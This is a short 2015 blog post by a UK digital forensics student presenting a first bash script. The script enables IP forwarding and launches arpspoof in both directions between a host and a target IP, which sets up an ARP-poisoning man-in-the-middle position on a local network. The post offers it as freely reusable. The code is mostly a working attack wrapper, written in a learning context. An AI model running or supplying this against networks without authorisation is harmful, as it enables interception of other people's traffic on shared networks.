Intro

I am a Digital Forensics student studying at university in the UK. I also do some Cyber Security modules.
I am currently in my 2nd year.
I have mainly started this to post interesting things I have learned and problems I have encountered.
However, I will use it to do write ups about useful things I want to remember such as commands and tools I have used so I don't forget them! (To be honest, I don't expect anyone to read this!)

Tuesday 24 February 2015

ArpSpoof Bash Script - First Script!

This is my first attempt at a Bash script and i did pretty well i think.
Its nothing special but it works and saves me about 30 seconds of time!!
I couldnt be bothered to keep typing in commands, and to be honest, i kept forgetting them!!

#!/bin/bash
echo '1' > /proc/sys/net/ipv4/ip_forward
#Ask for 2 IPS
echo -e "Please Enter The HOST IP"
read HOSTIP
echo -e "Please Enter The TARGET IP"
read TARGETIP
echo "You entered: \"$HOSTIP\" \"$TARGETIP\""
echo -e "Are you using wlan0 or eth0?"
read NIC
echo "Preparing........."
echo -e "\t\t Target: $TARGETIP \n"
echo -e "\t\t Host: $HOSTIP \n\n"
echo -e "Starting ArpSpoof"
gnome-terminal -x arpspoof -i "$NIC" -t "$TARGETIP" -r "$HOSTIP" 
gnome-terminal --tab -x arpspoof -i "$NIC" -t "$HOSTIP" "$TARGETIP" 

Feel free to use it!

No comments:

Post a Comment